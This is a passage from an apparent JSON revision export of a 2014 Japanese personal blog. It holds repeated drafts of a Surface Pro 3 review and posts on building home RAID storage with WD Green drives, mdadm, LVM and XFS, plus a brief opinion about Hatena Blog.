も問題なく動くのでプログラマーの道具としては極めてすぐれている。\r\n\r\nペンの出来とか先述の発熱とかかなり残念なのでプログラマー以外がこれを買って幸せになるというのがいまいち想像できないのだがまあユースケースはいろいろあるんだろう。\r\n\r\nそして 1kg という重量だが、 VAIO Pro から引っ越してくるとかなり重いと感じさせる。 VAIO Pro や Lavie Z の完成度の高さを感じさせる。が重いだけあって筐体の剛性などかなりのもので、 MacBook Air 並に適当に扱っても壊れないのではないかと感じさせるものがある。\r\n\r\n### まとめ\r\nまあ高いし買わないほうがいいよ。","created_at":"2014-07-18T04:06:22.000Z","updated_at":"2014-07-18T04:06:22.000Z"},{"id":2709,"name":"text/Surface Pro 3 買った","body":"%blog%\r\n\r\n# 追記\r\n\u003cspan style=\"font-size:30em\"\u003e購入して 2 日後に電源まわり壊れました。本当に出来が悪い機械なので絶対に買わないほうがいいです。\u003c/span\u003e\r\n\r\n### 一番重要なこと\r\n- Debian sid がふつうに動きます\r\n\r\n### その他\r\n出先でもゲームしたいみたいな要求があってこれを買ったのでとりあえずは Windows をインストールしなおして VirtualBox で Debian を動かして使っている。出先ではそんなにゲームをしませんねみたいなはなしになったら Debian に戻すと思う。\r\n\r\n電車の中で Xbox 360 コントローラーをつないだ Surface Pro 3 でゲームというのをちょこちょこやってみているが、人から変な目で見られる以外はおおよそ快適であった。\r\n\r\n筐体の出来ははっきり言ってかなり悪い。ちょっとでも負荷がかかると信じられないほど熱くなりとてもではないが手で持って使うということは考えられない。\r\n\r\n膝の上において使う分にはタッチパッドの出来の悪さ以外はまったく問題にならない。そのタッチパッドに関してもターミナルとブラウザからほとんどでない生活を送っていればほぼ問題にならないと思う。\r\n\r\n高画面画素数のノート PC がほしいという需要で買うのであればほぼ全く問題はない。ただこのクラスのノートと考えたとき、タイプカバーと込で 1kg という重量は決して軽量とは言い難い。\r\n\r\n現実的に今日本で\r\n\r\n- Full HD 以上の画面をもち、ある程度軽量なノートで英語キーボードが比較的容易に利用可能\r\n\r\nというマシンはこれしかない(キーボードは輸入しないといけないが)。しかし日本語キーボードであれば VAIO Pro とか Lavie Z とかもっと軽いマシンがあるのでそっちを選ぶのも良い判断だと思う。\r\n\r\n3:2 という画面は想像以上に Vim との相性がよい。キーボード分離式ということは好きなキーボードを使えるということであり(僕は自宅では ThinkPad TrackPoint Keyboard をつないで使ってます)、しかも Linux も問題なく動くのでプログラマーの道具としては極めてすぐれている。\r\n\r\nペンの出来とか先述の発熱とかかなり残念なのでプログラマー以外がこれを買って幸せになるというのがいまいち想像できないのだがまあユースケースはいろいろあるんだろう。\r\n\r\nそして 1kg という重量だが、 VAIO Pro から引っ越してくるとかなり重いと感じさせる。 VAIO Pro や Lavie Z の完成度の高さを感じさせる。が重いだけあって筐体の剛性などかなりのもので、 MacBook Air 並に適当に扱っても壊れないのではないかと感じさせるものがある。\r\n\r\n### まとめ\r\nまあ高いし買わないほうがいいよ。","created_at":"2014-07-19T05:48:58.000Z","updated_at":"2014-07-19T05:48:58.000Z"},{"id":2710,"name":"text/Surface Pro 3 買った","body":"%blog%\r\n\r\n# 追記\r\n\u003cspan style=\"font-size:10em\"\u003e購入して 2 日後に電源まわり壊れました。本当に出来が悪い機械なので絶対に買わないほうがいいです。\u003c/span\u003e\r\n\r\n### 一番重要なこと\r\n- Debian sid がふつうに動きます\r\n\r\n### その他\r\n出先でもゲームしたいみたいな要求があってこれを買ったのでとりあえずは Windows をインストールしなおして VirtualBox で Debian を動かして使っている。出先ではそんなにゲームをしませんねみたいなはなしになったら Debian に戻すと思う。\r\n\r\n電車の中で Xbox 360 コントローラーをつないだ Surface Pro 3 でゲームというのをちょこちょこやってみているが、人から変な目で見られる以外はおおよそ快適であった。\r\n\r\n筐体の出来ははっきり言ってかなり悪い。ちょっとでも負荷がかかると信じられないほど熱くなりとてもではないが手で持って使うということは考えられない。\r\n\r\n膝の上において使う分にはタッチパッドの出来の悪さ以外はまったく問題にならない。そのタッチパッドに関してもターミナルとブラウザからほとんどでない生活を送っていればほぼ問題にならないと思う。\r\n\r\n高画面画素数のノート PC がほしいという需要で買うのであればほぼ全く問題はない。ただこのクラスのノートと考えたとき、タイプカバーと込で 1kg という重量は決して軽量とは言い難い。\r\n\r\n現実的に今日本で\r\n\r\n- Full HD 以上の画面をもち、ある程度軽量なノートで英語キーボードが比較的容易に利用可能\r\n\r\nというマシンはこれしかない(キーボードは輸入しないといけないが)。しかし日本語キーボードであれば VAIO Pro とか Lavie Z とかもっと軽いマシンがあるのでそっちを選ぶのも良い判断だと思う。\r\n\r\n3:2 という画面は想像以上に Vim との相性がよい。キーボード分離式ということは好きなキーボードを使えるということであり(僕は自宅では ThinkPad TrackPoint Keyboard をつないで使ってます)、しかも Linux も問題なく動くのでプログラマーの道具としては極めてすぐれている。\r\n\r\nペンの出来とか先述の発熱とかかなり残念なのでプログラマー以外がこれを買って幸せになるというのがいまいち想像できないのだがまあユースケースはいろいろあるんだろう。\r\n\r\nそして 1kg という重量だが、 VAIO Pro から引っ越してくるとかなり重いと感じさせる。 VAIO Pro や Lavie Z の完成度の高さを感じさせる。が重いだけあって筐体の剛性などかなりのもので、 MacBook Air 並に適当に扱っても壊れないのではないかと感じさせるものがある。\r\n\r\n### まとめ\r\nまあ高いし買わないほうがいいよ。","created_at":"2014-07-19T05:49:13.000Z","updated_at":"2014-07-19T05:49:13.000Z"},{"id":2711,"name":"text/Surface Pro 3 買った","body":"%blog%\r\n\r\n# 追記\r\n\u003cspan style=\"font-size:7em\"\u003e購入して 2 日後に電源まわり壊れました。本当に出来が悪い機械なので絶対に買わないほうがいいです。\u003c/span\u003e\r\n\r\n### 一番重要なこと\r\n- Debian sid がふつうに動きます\r\n\r\n### その他\r\n出先でもゲームしたいみたいな要求があってこれを買ったのでとりあえずは Windows をインストールしなおして VirtualBox で Debian を動かして使っている。出先ではそんなにゲームをしませんねみたいなはなしになったら Debian に戻すと思う。\r\n\r\n電車の中で Xbox 360 コントローラーをつないだ Surface Pro 3 でゲームというのをちょこちょこやってみているが、人から変な目で見られる以外はおおよそ快適であった。\r\n\r\n筐体の出来ははっきり言ってかなり悪い。ちょっとでも負荷がかかると信じられないほど熱くなりとてもではないが手で持って使うということは考えられない。\r\n\r\n膝の上において使う分にはタッチパッドの出来の悪さ以外はまったく問題にならない。そのタッチパッドに関してもターミナルとブラウザからほとんどでない生活を送っていればほぼ問題にならないと思う。\r\n\r\n高画面画素数のノート PC がほしいという需要で買うのであればほぼ全く問題はない。ただこのクラスのノートと考えたとき、タイプカバーと込で 1kg という重量は決して軽量とは言い難い。\r\n\r\n現実的に今日本で\r\n\r\n- Full HD 以上の画面をもち、ある程度軽量なノートで英語キーボードが比較的容易に利用可能\r\n\r\nというマシンはこれしかない(キーボードは輸入しないといけないが)。しかし日本語キーボードであれば VAIO Pro とか Lavie Z とかもっと軽いマシンがあるのでそっちを選ぶのも良い判断だと思う。\r\n\r\n3:2 という画面は想像以上に Vim との相性がよい。キーボード分離式ということは好きなキーボードを使えるということであり(僕は自宅では ThinkPad TrackPoint Keyboard をつないで使ってます)、しかも Linux も問題なく動くのでプログラマーの道具としては極めてすぐれている。\r\n\r\nペンの出来とか先述の発熱とかかなり残念なのでプログラマー以外がこれを買って幸せになるというのがいまいち想像できないのだがまあユースケースはいろいろあるんだろう。\r\n\r\nそして 1kg という重量だが、 VAIO Pro から引っ越してくるとかなり重いと感じさせる。 VAIO Pro や Lavie Z の完成度の高さを感じさせる。が重いだけあって筐体の剛性などかなりのもので、 MacBook Air 並に適当に扱っても壊れないのではないかと感じさせるものがある。\r\n\r\n### まとめ\r\nまあ高いし買わないほうがいいよ。","created_at":"2014-07-19T05:49:21.000Z","updated_at":"2014-07-19T05:49:21.000Z"},{"id":2712,"name":"text/Surface Pro 3 買った","body":"%blog%\r\n\r\n# 追記\r\n\u003cspan style=\"font-size:5em\"\u003e購入して 2 日後に電源まわり壊れました。本当に出来が悪い機械なので絶対に買わないほうがいいです。\u003c/span\u003e\r\n\r\n### 一番重要なこと\r\n- Debian sid がふつうに動きます\r\n\r\n### その他\r\n出先でもゲームしたいみたいな要求があってこれを買ったのでとりあえずは Windows をインストールしなおして VirtualBox で Debian を動かして使っている。出先ではそんなにゲームをしませんねみたいなはなしになったら Debian に戻すと思う。\r\n\r\n電車の中で Xbox 360 コントローラーをつないだ Surface Pro 3 でゲームというのをちょこちょこやってみているが、人から変な目で見られる以外はおおよそ快適であった。\r\n\r\n筐体の出来ははっきり言ってかなり悪い。ちょっとでも負荷がかかると信じられないほど熱くなりとてもではないが手で持って使うということは考えられない。\r\n\r\n膝の上において使う分にはタッチパッドの出来の悪さ以外はまったく問題にならない。そのタッチパッドに関してもターミナルとブラウザからほとんどでない生活を送っていればほぼ問題にならないと思う。\r\n\r\n高画面画素数のノート PC がほしいという需要で買うのであればほぼ全く問題はない。ただこのクラスのノートと考えたとき、タイプカバーと込で 1kg という重量は決して軽量とは言い難い。\r\n\r\n現実的に今日本で\r\n\r\n- Full HD 以上の画面をもち、ある程度軽量なノートで英語キーボードが比較的容易に利用可能\r\n\r\nというマシンはこれしかない(キーボードは輸入しないといけないが)。しかし日本語キーボードであれば VAIO Pro とか Lavie Z とかもっと軽いマシンがあるのでそっちを選ぶのも良い判断だと思う。\r\n\r\n3:2 という画面は想像以上に Vim との相性がよい。キーボード分離式ということは好きなキーボードを使えるということであり(僕は自宅では ThinkPad TrackPoint Keyboard をつないで使ってます)、しかも Linux も問題なく動くのでプログラマーの道具としては極めてすぐれている。\r\n\r\nペンの出来とか先述の発熱とかかなり残念なのでプログラマー以外がこれを買って幸せになるというのがいまいち想像できないのだがまあユースケースはいろいろあるんだろう。\r\n\r\nそして 1kg という重量だが、 VAIO Pro から引っ越してくるとかなり重いと感じさせる。 VAIO Pro や Lavie Z の完成度の高さを感じさせる。が重いだけあって筐体の剛性などかなりのもので、 MacBook Air 並に適当に扱っても壊れないのではないかと感じさせるものがある。\r\n\r\n### まとめ\r\nまあ高いし買わないほうがいいよ。","created_at":"2014-07-19T05:49:27.000Z","updated_at":"2014-07-19T05:49:27.000Z"},{"id":2713,"name":"text/WD Green を mdadm で使う","body":"%blog%\r\n\r\nWestern Digital の GREEN シリーズの HDD は大変に安価なことで知られていますが、エラー訂正のために無反応になることがあるために RAID の構築には使わないようにとメーカーから警告されていることはよく知られています。\r\n\r\nですがまあそんなことは知ったこっちゃないわ金ないし WD GREEN で RAID 組むわみたいな風に考える人もいることでしょう。\r\n\r\n私もその一人で、現在 26 台の HDD を用いて mdadm と LVM を用いて 54TB のアレイを構築して 24 時間 365 日稼働させています。ちなみに現在空き容量は 14TB ほどで 40TB のデータを自宅にためていることになります。\r\n\r\nシステムが現在の構成を取るようになってから 3 年ほどは経過しており、その間増設に増設を重ねて、全体としては安定して稼働しているといえます(個人のサーバーおよび録画システムとしてはという話でちょこちょこ落ちてはいます)。このサイトもそのサーバー群で動いています。\r\n\r\nちなみにシステムは以下のような感じ。\r\n\r\n\u003ciframe src=\"//instagram.com/p/rT1k_EvxAi/embed/\" width=\"612\" height=\"710\" frameborder=\"0\" scrolling=\"no\" allowtransparency=\"true\"\u003e\u003c/iframe\u003e\r\n\r\n長々と前置きを言いましたが。\r\n\r\nmdadm で RAID を構築する限り WD GREEN を使ったところで全く問題はありません。 WD GREEN を RAID に使うなという話はハードウェア RAID に限定されると考えてまず問題無いでしょう。\r\n\r\n貧者のストレージとしては WD GREEN + mdadm + LVM というのは非常に強力な手段となります。","created_at":"2014-08-08T16:11:26.000Z","updated_at":"2014-08-08T16:11:26.000Z"},{"id":2714,"name":"text/自宅で大容量ストレージを運用する","body":"%blog%\r\n\r\n前回 [RAID に関するちょっとした話](http://ssig33.com/text/WD%20Green%20%E3%82%92%20mdadm%20%E3%81%A7%E4%BD%BF%E3%81%86)を書きましたが個人が巨大なストレージを運用するにあたって得られたノウハウをだいたい全部書いておきます。\r\n\r\n### そもそもメリットあるのか?\r\nメリットはあります。金です。 Google Drive は安いですが、それでも 1TB 月 1000 円です。しかし運用にかなり制限がでます。柔軟に使える Amazon Web Service ならその 3 倍+転送量課金です。 16TB だと月 5 万円もかかってしまいます。ちなみにもっとも柔軟に使える EBS だと 83000 円ぐらいです。\r\n\r\nGoogle Compute Engine の低冗長性ストレージは S3 より少し安かった気はするけど別にとても安いわけではなかったと思う(よく覚えていないし調べるのがめんどくさい)。\r\n\r\n50TB のストレージを Google Drive でごまかしごまかし運用したとしても年間 60 万円かかります。現実的には 150-200 万円の予算が必要でしょう。\r\n\r\nしかしながら自宅サーバーでやった場合は機材代 30 万円ほどと月々の電気代 1 万円ほどで回ります。ハードウェアのコストを何か月で割るべきかは検討が必要ですが、仮に毎年 30 万円ハードウェアを買う意味不明な運用でも Google Drive よりも安く済みます。個人的な印象では年間 20 万円前後しかかかっていないと思う。\r\n\r\nまた得られるのが極めてふつうのファイルシステムだというのはかなりの利点です。 S3 なんかよりずっと使いやすい。\r\n\r\n逆にいえば数 TB しか使わないようなら S3 でやった方がコスト的に有利であることが多いでしょう。\r\n\r\n### デメリットは?\r\n明らかです。\r\n\r\n- 低い信頼性\r\n- それを補うための運用上の苦労\r\n- 部屋を暑くするサーバー\r\n- 雷が来たりすると心臓が痛くなる\r\n\r\n### 構成をどのようにとるべきか\r\n「とるべきか」なんて偉そうな見出しをつけてしまいましたが僕がどうしているかという話です。\r\n\r\n#### ソフトウェア面\r\n僕のところでは mdadm で組んだ複数の RAID5 アレイを LVM で束ねて一つの巨大な XFS ファイルシステムとして運用しています。\r\n\r\nRAID5 ごとにパーティションを作って複数のパーティションで運用するという考え方もあります。ですがそれよりは LVM で一つの巨大なパーティションとして見せてしまったほうがソフトウェア開発が楽だと思います。 XFS は LVM に参加している PV が一個吹き飛んだところでそのまま動き続けるほどに堅牢です(むろん飛んだところにあるデータは見えなくなりますが)。\r\n\r\next4 を使わない理由は [16TB 以上のパーティションを作ることに関して問題があった](http://ssig33.com/text/ext4%20%E3%82%92%2016TB%20%E3%82%88%E3%82%8A%E5%A4%A7%E3%81%8D%E3%81%8F%E3%81%99%E3%82%8B)ためです。この記事で書いた話は 2014 年現在では改善されてる可能性は高いとは思いますが、十分に枯れていて信頼性の高い XFS を使うことはよい判断だと思います。\r\n\r\nZFS に関しては、よく知らない。。。\r\n\r\n#### ハードウェア面\r\n実際問題個人が一つのシステムに大量の HDD を搭載したい場合、センチュリー社の裸族のスカイタワーという 10 個のベイを持つ HDD ケースを用いることが唯一の選択肢です。\r\n\r\neSATA は大変に枯れた安定したプロトコルであり、 eSATA 経由で裸族のスカイタワーを接続するというのはすぐれた選択肢**でした**。\r\n\r\nでしたというのは eSATA 接続ができる裸族のスカイタワーはもうディスコンになってしまっているので、現在では USB3.0 経由で接続するものを買うことになります。\r\n\r\n少なくとも SandyBridge 世代においては USB3.0 接続の HDD ケースは、馬の糞未満の存在でした。刺したはずの HDD が認識されないとか、システムの稼働中に HDD が見えなくなるとかありがちでした。\r\n\r\n時代はあれから進んでいますからいい加減諸々安定してるんじゃないかとは思うんですが、このあたりいろいろ検証が必要なめんどくさい部分です。\r\n\r\nちなみに僕は eSATA 版の在庫を数台買占めました。\r\n\r\n### 運用において\r\nいろいろとありますが、一番重要なことは一週間に一回メンテナンスウィンドウを切っておき、システムを再起動をするということです。\r\n\r\nストレージの障害は再起動と共に顕在化することが多いというのが 3 年間やってみての感想です。\r\n\r\n一週間に一回 5 分の再起動をやることで最終的な稼働率は上がるのではないかと思っています。\r\n\r\n### まとめ\r\n数十 TB のストレージが欲しいだって?考え直せ。","created_at":"2014-08-12T14:54:55.000Z","updated_at":"2014-08-12T14:54:55.000Z"},{"id":2715,"name":"text/自宅で大容量ストレージを運用する","body":"%blog%\r\n\r\n前回 [RAID に関するちょっとした話](http://ssig33.com/text/WD%20Green%20%E3%82%92%20mdadm%20%E3%81%A7%E4%BD%BF%E3%81%86)を書きましたが個人が巨大なストレージを運用するにあたって得られたノウハウをだいたい全部書いておきます。\r\n\r\n### そもそもメリットあるのか?\r\nメリットはあります。金です。 Google Drive は安いですが、それでも 1TB 月 1000 円です。しかし運用にかなり制限がでます。柔軟に使える Amazon Web Service ならその 3 倍+転送量課金です。 16TB だと月 5 万円もかかってしまいます。ちなみにもっとも柔軟に使える EBS だと 83000 円ぐらいです。\r\n\r\nGoogle Compute Engine の低冗長性ストレージは S3 より少し安かった気はするけど別にとても安いわけではなかったと思う(よく覚えていないし調べるのがめんどくさい)。\r\n\r\n50TB のストレージを Google Drive でごまかしごまかし運用したとしても年間 60 万円かかります。現実的には 150-200 万円の予算が必要でしょう。\r\n\r\nしかしながら自宅サーバーでやった場合は機材代 30 万円ほどと月々の電気代 1 万円ほどで回ります。ハードウェアのコストを何か月で割るべきかは検討が必要ですが、仮に毎年 30 万円ハードウェアを買う意味不明な運用でも Google Drive よりも安く済みます。あまり厳密に計算してませんが年間 20 万円前後しかかかっていないと思う。\r\n\r\nまた得られるのが極めてふつうのファイルシステムだというのはかなりの利点です。 S3 なんかよりずっと使いやすい。\r\n\r\n逆にいえば数 TB しか使わないようなら S3 でやった方がコスト的に有利であることが多いでしょう。\r\n\r\n### デメリットは?\r\n明らかです。\r\n\r\n- 低い信頼性\r\n- それを補うための運用上の苦労\r\n- 部屋を暑くするサーバー\r\n- 雷が来たりすると心臓が痛くなる\r\n\r\n### 構成をどのようにとるべきか\r\n「とるべきか」なんて偉そうな見出しをつけてしまいましたが僕がどうしているかという話です。\r\n\r\n#### ソフトウェア面\r\n僕のところでは mdadm で組んだ複数の RAID5 アレイを LVM で束ねて一つの巨大な XFS ファイルシステムとして運用しています。\r\n\r\nRAID5 ごとにパーティションを作って複数のパーティションで運用するという考え方もあります。ですがそれよりは LVM で一つの巨大なパーティションとして見せてしまったほうがソフトウェア開発が楽だと思います。 XFS は LVM に参加している PV が一個吹き飛んだところでそのまま動き続けるほどに堅牢です(むろん飛んだところにあるデータは見えなくなりますが)。\r\n\r\next4 を使わない理由は [16TB 以上のパーティションを作ることに関して問題があった](http://ssig33.com/text/ext4%20%E3%82%92%2016TB%20%E3%82%88%E3%82%8A%E5%A4%A7%E3%81%8D%E3%81%8F%E3%81%99%E3%82%8B)ためです。この記事で書いた話は 2014 年現在では改善されてる可能性は高いとは思いますが、十分に枯れていて信頼性の高い XFS を使うことはよい判断だと思います。\r\n\r\nZFS に関しては、よく知らない。。。\r\n\r\n#### ハードウェア面\r\n実際問題個人が一つのシステムに大量の HDD を搭載したい場合、センチュリー社の裸族のスカイタワーという 10 個のベイを持つ HDD ケースを用いることが唯一の選択肢です。\r\n\r\neSATA は大変に枯れた安定したプロトコルであり、 eSATA 経由で裸族のスカイタワーを接続するというのはすぐれた選択肢**でした**。\r\n\r\nでしたというのは eSATA 接続ができる裸族のスカイタワーはもうディスコンになってしまっているので、現在では USB3.0 経由で接続するものを買うことになります。\r\n\r\n少なくとも SandyBridge 世代においては USB3.0 接続の HDD ケースは、馬の糞未満の存在でした。刺したはずの HDD が認識されないとか、システムの稼働中に HDD が見えなくなるとかありがちでした。\r\n\r\n時代はあれから進んでいますからいい加減諸々安定してるんじゃないかとは思うんですが、このあたりいろいろ検証が必要なめんどくさい部分です。\r\n\r\nちなみに僕は eSATA 版の在庫を数台買占めました。\r\n\r\n### 運用において\r\nいろいろとありますが、一番重要なことは一週間に一回メンテナンスウィンドウを切っておき、システムを再起動をするということです。\r\n\r\nストレージの障害は再起動と共に顕在化することが多いというのが 3 年間やってみての感想です。\r\n\r\n一週間に一回 5 分の再起動をやることで最終的な稼働率は上がるのではないかと思っています。\r\n\r\n### まとめ\r\n数十 TB のストレージが欲しいだって?考え直せ。","created_at":"2014-08-12T14:55:29.000Z","updated_at":"2014-08-12T14:55:29.000Z"},{"id":2716,"name":"text/自宅で大容量ストレージを運用する","body":"%blog%\r\n\r\n前回 [RAID に関するちょっとした話](http://ssig33.com/text/WD%20Green%20%E3%82%92%20mdadm%20%E3%81%A7%E4%BD%BF%E3%81%86)を書きましたが個人が巨大なストレージを運用するにあたって得られたノウハウをだいたい全部書いておきます。\r\n\r\n### そもそもメリットあるのか?\r\nメリットはあります。金です。 Google Drive は安いですが、それでも 1TB 月 1000 円です。しかし運用にかなり制限がでます。柔軟に使える Amazon Web Service ならその 3 倍+転送量課金です。 16TB だと月 5 万円もかかってしまいます。ちなみにもっとも柔軟に使える EBS だと 16TB で 83000 円ぐらいです。\r\n\r\nGoogle Compute Engine の低冗長性ストレージは S3 より少し安かった気はするけど別にとても安いわけではなかったと思う(よく覚えていないし調べるのがめんどくさい)。\r\n\r\n50TB のストレージを Google Drive でごまかしごまかし運用したとしても年間 60 万円かかります。現実的には 150-200 万円の予算が必要でしょう。\r\n\r\nしかしながら自宅サーバーでやった場合は機材代 30 万円ほどと月々の電気代 1 万円ほどで回ります。ハードウェアのコストを何か月で割るべきかは検討が必要ですが、仮に毎年 30 万円ハードウェアを買う意味不明な運用でも Google Drive よりも安く済みます。あまり厳密に計算してませんが年間 20 万円前後しかかかっていないと思う。\r\n\r\nまた得られるのが極めてふつうのファイルシステムだというのはかなりの利点です。 S3 なんかよりずっと使いやすい。\r\n\r\n逆にいえば数 TB しか使わないようなら S3 でやった方がコスト的に有利であることが多いでしょう。\r\n\r\n### デメリットは?\r\n明らかです。\r\n\r\n- 低い信頼性\r\n- それを補うための運用上の苦労\r\n- 部屋を暑くするサーバー\r\n- 雷が来たりすると心臓が痛くなる\r\n\r\n### 構成をどのようにとるべきか\r\n「とるべきか」なんて偉そうな見出しをつけてしまいましたが僕がどうしているかという話です。\r\n\r\n#### ソフトウェア面\r\n僕のところでは mdadm で組んだ複数の RAID5 アレイを LVM で束ねて一つの巨大な XFS ファイルシステムとして運用しています。\r\n\r\nRAID5 ごとにパーティションを作って複数のパーティションで運用するという考え方もあります。ですがそれよりは LVM で一つの巨大なパーティションとして見せてしまったほうがソフトウェア開発が楽だと思います。 XFS は LVM に参加している PV が一個吹き飛んだところでそのまま動き続けるほどに堅牢です(むろん飛んだところにあるデータは見えなくなりますが)。\r\n\r\next4 を使わない理由は [16TB 以上のパーティションを作ることに関して問題があった](http://ssig33.com/text/ext4%20%E3%82%92%2016TB%20%E3%82%88%E3%82%8A%E5%A4%A7%E3%81%8D%E3%81%8F%E3%81%99%E3%82%8B)ためです。この記事で書いた話は 2014 年現在では改善されてる可能性は高いとは思いますが、十分に枯れていて信頼性の高い XFS を使うことはよい判断だと思います。\r\n\r\nZFS に関しては、よく知らない。。。\r\n\r\n#### ハードウェア面\r\n実際問題個人が一つのシステムに大量の HDD を搭載したい場合、センチュリー社の裸族のスカイタワーという 10 個のベイを持つ HDD ケースを用いることが唯一の選択肢です。\r\n\r\neSATA は大変に枯れた安定したプロトコルであり、 eSATA 経由で裸族のスカイタワーを接続するというのはすぐれた選択肢**でした**。\r\n\r\nでしたというのは eSATA 接続ができる裸族のスカイタワーはもうディスコンになってしまっているので、現在では USB3.0 経由で接続するものを買うことになります。\r\n\r\n少なくとも SandyBridge 世代においては USB3.0 接続の HDD ケースは、馬の糞未満の存在でした。刺したはずの HDD が認識されないとか、システムの稼働中に HDD が見えなくなるとかありがちでした。\r\n\r\n時代はあれから進んでいますからいい加減諸々安定してるんじゃないかとは思うんですが、このあたりいろいろ検証が必要なめんどくさい部分です。\r\n\r\nちなみに僕は eSATA 版の在庫を数台買占めました。\r\n\r\n### 運用において\r\nいろいろとありますが、一番重要なことは一週間に一回メンテナンスウィンドウを切っておき、システムを再起動をするということです。\r\n\r\nストレージの障害は再起動と共に顕在化することが多いというのが 3 年間やってみての感想です。\r\n\r\n一週間に一回 5 分の再起動をやることで最終的な稼働率は上がるのではないかと思っています。\r\n\r\n### まとめ\r\n数十 TB のストレージが欲しいだって?考え直せ。","created_at":"2014-08-12T15:20:52.000Z","updated_at":"2014-08-12T15:20:52.000Z"},{"id":2717,"name":"text/Surface Pro 3 再レビュー","body":"%blog%\r\n\r\n[先代が壊れてから](http://ssig33.com/text/Surface%20Pro%203%20%E8%B2%B7%E3%81%A3%E3%81%9F) 1 ヶ月ほどが経ちますが、なんだかんだで交換されて戻ってきた二台目をメインマシンとして使っています。\r\n\r\n### サポート\r\n電話でのやり取りは非常にめんどくさく、店に持っていけばさっさと修理プロセスに入ってくれる Apple や Sony の優れた対応を懐かしく思う気持ちは強くあります。\r\n\r\nしかしその日のうちにサポート番号が得られますし、発送してから交換品が届くまで 5 日だったので総じてサポートは優良な部類といえると思います。\r\n\r\n### ドットバイドット表示\r\nDPI スケーリングを無効化していわゆるドットバイドットで使っています。 220ppi ほどあるので 200ppi ほどだった VAIO Pro と比較するとさらに小さいのですが、なんとか実用的です。\r\n\r\n広い画面でブラウザと Vim を使うのは極めて快適。\r\n\r\n### バッテリー\r\n結局 Windows のまま使っているのですが、 VirtualBox で常に複数個の仮想マシンを立ち上げながらそれなりに動画見たりコンパイルしたりしながら使っても 8 時間は優に持つので及第点と言えるのではないかと。\r\n\r\nGNU/Linux で使っても設定つめれば 7-8 時間持つのではないか。\r\n\r\n### Windows という OS について\r\n低レベル API を使えるタッチ対応アプリが HTML と JavaScript で本当に実用的に開発できるのは驚異的なことで、ごろ寝しながら使うこういうアプリがほしいとか思うとすぐに作ることができる。極々個人的なアプリケーションをいくらか作って使っている。\r\n\r\n### AC アダプタが許せない\r\nAC アダプタ、大きさや重量はまあ一般的なのだが、許せない点が二点ほどある。\r\n\r\n1. ケーブルを巻き取る機構やマジックテープ式結束バンドが無いこと\r\n2. 標準的なメガネケーブルを使っているにも関わらず若干差込口が深く刺さらないメガネケーブルが結構たくさんあること\r\n - 手持ちのコンパクトタイプのケーブルが全滅したので実店舗にいって刺さりそうなやつを新たに購入せざるを得なかった\r\n\r\nこれにより AC アダプタの可搬性がかなり落ちてます。結果として AC アダプタあんまり持ち歩かなくなっているのですが、バッテリの持ち時間が長いのでそうは問題ありません。\r\n\r\nですがいきなり泥酔して友達の家に行ってしまったみたいなときに身動きとれなくなるので AC アダプタはちゃんと常に持ち歩きたいのでどうにかしたいところ。\r\n\r\n### まとめ\r\n初代が買って二日で壊れたというのが印象悪すぎて未だにこれをメインにし続けることに不安はあるのですが、なんだかんだでそれなりに満足しているのではないかという気はしている。","created_at":"2014-08-14T04:05:03.000Z","updated_at":"2014-08-14T04:05:03.000Z"},{"id":2718,"name":"text/Surface Pro 3 再レビュー","body":"%blog%\r\n\r\n[先代が壊れてから](http://ssig33.com/text/Surface%20Pro%203%20%E8%B2%B7%E3%81%A3%E3%81%9F) 1 ヶ月ほどが経ちますが、なんだかんだで交換されて戻ってきた二台目をメインマシンとして使っています。\r\n\r\n### サポート\r\n電話でのやり取りは非常にめんどくさく、店に持っていけばさっさと修理プロセスに入ってくれる Apple や Sony の優れた対応を懐かしく思う気持ちは強くあります。\r\n\r\nしかしその日のうちにサポート番号が得られますし、発送してから交換品が届くまで 5 日だったので総じてサポートは優良な部類といえると思います。\r\n\r\n### ドットバイドット表示\r\nDPI スケーリングを無効化していわゆるドットバイドットで使っています。解像度は 220ppi ほどあるので 200ppi ほどだった VAIO Pro と比較するとさらに高解像度なのですが、なんとか実用的です。\r\n\r\n広い画面でブラウザと Vim を使うのは極めて快適。\r\n\r\n全然関係ない話だが 23 インチ以上の 4K ディスプレイとかだと VAIO Pro と比較してもさらに低解像度なのでドットバイドットで Vim を使ったら快適だろうと思っている。\r\n\r\n### バッテリー\r\n結局 Windows のまま使っているのですが、 VirtualBox で常に複数個の仮想マシンを立ち上げながらそれなりに動画見たりコンパイルしたりしながら使っても 8 時間は優に持つので及第点と言えるのではないかと。\r\n\r\nGNU/Linux で使っても設定つめれば 7-8 時間持つのではないか。\r\n\r\n### Windows という OS について\r\n低レベル API を使えるタッチ対応アプリが HTML と JavaScript で本当に実用的に開発できるのは驚異的なことで、ごろ寝しながら使うこういうアプリがほしいとか思うとすぐに作ることができる。極々個人的なアプリケーションをいくらか作って使っている。\r\n\r\n### AC アダプタが許せない\r\nAC アダプタ、大きさや重量はまあ一般的なのだが、許せない点が二点ほどある。\r\n\r\n1. ケーブルを巻き取る機構やマジックテープ式結束バンドが無いこと\r\n2. 標準的なメガネケーブルを使っているにも関わらず若干差込口が深く刺さらないメガネケーブルが結構たくさんあること\r\n - 手持ちのコンパクトタイプのケーブルが全滅したので実店舗にいって刺さりそうなやつを新たに購入せざるを得なかった\r\n\r\nこれにより AC アダプタの可搬性がかなり落ちてます。結果として AC アダプタあんまり持ち歩かなくなっているのですが、バッテリの持ち時間が長いのでそうは問題ありません。\r\n\r\nですがいきなり泥酔して友達の家に行ってしまったみたいなときに身動きとれなくなるので AC アダプタはちゃんと常に持ち歩きたいのでどうにかしたいところ。\r\n\r\n### まとめ\r\n初代が買って二日で壊れたというのが印象悪すぎて未だにこれをメインにし続けることに不安はあるのですが、なんだかんだでそれなりに満足しているのではないかという気はしている。","created_at":"2014-08-14T04:12:46.000Z","updated_at":"2014-08-14T04:12:46.000Z"},{"id":2719,"name":"text/はてなブログの話","body":"%blog%\r\n\r\nとかあんましたくないんだけど、\r\n\r\n1. はてなにはもともと超気持ち悪い人達と普通の人達と技術者がいた\r\n - その昔いろんな言語がまともにシンタックスハイライトされるのははてなだけだった\r\n2. 超気持ち悪い人達と技術者が目立っていた\r\n3. 技術者のかなりの数が Qiita とかにいった\r\n4. 超気持ち悪い人達だけが残った\r\n5. 結果はてなに気持ち悪い人が増えたように見えるが実は増えたわけではない\r\n\r\nということなのではないかと思っている、これを検証する為にははてなでの技術系エントリのホットエントリ数が減っているかどうかを検証していく必要がある、面倒なのでやりたくない、以上です。","created_at":"2014-08-20T10:08:44.000Z","updated_at":"2014-08-20T10:08:44.000Z"},{"id":2720,"name":"text/Docker 